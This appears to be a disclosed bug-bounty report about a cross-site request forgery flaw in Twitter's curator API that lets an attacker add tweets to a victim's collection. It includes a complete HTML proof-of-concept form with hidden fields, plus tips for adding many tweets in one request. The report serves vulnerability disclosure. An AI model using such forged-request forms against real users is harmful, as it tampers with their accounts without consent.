X / xAI · Report #100820
Add tweet to collection CSRF
Validstatus
12upvotes
22 Aug 2016disclosed
How it was found
Hi Team,
I have found a CSRF vulnerability which force victim to add tweets in his collection.
HTML POC :
<html> <body> <form action="https://curator.twitter.com/api/collections/STREAM/content" method="POST"> <input type="hidden" name="tweet_ids[]" value="667977435124658176"> <input type="hidden" name="collections[]" value="667916850294951936"> <input type="hidden" name="model[id]" value="STREAM"> <input type=submit> </body> </html>Before using this POC change the Collection ID to your collection ID and you will see that tweet will be added into your collection.You can Also add so many tweets in one request by adding "tweet_ids" parameter multiple times.
Let me know if you need any other help from my side.
Best Regards ! Vijay Kumar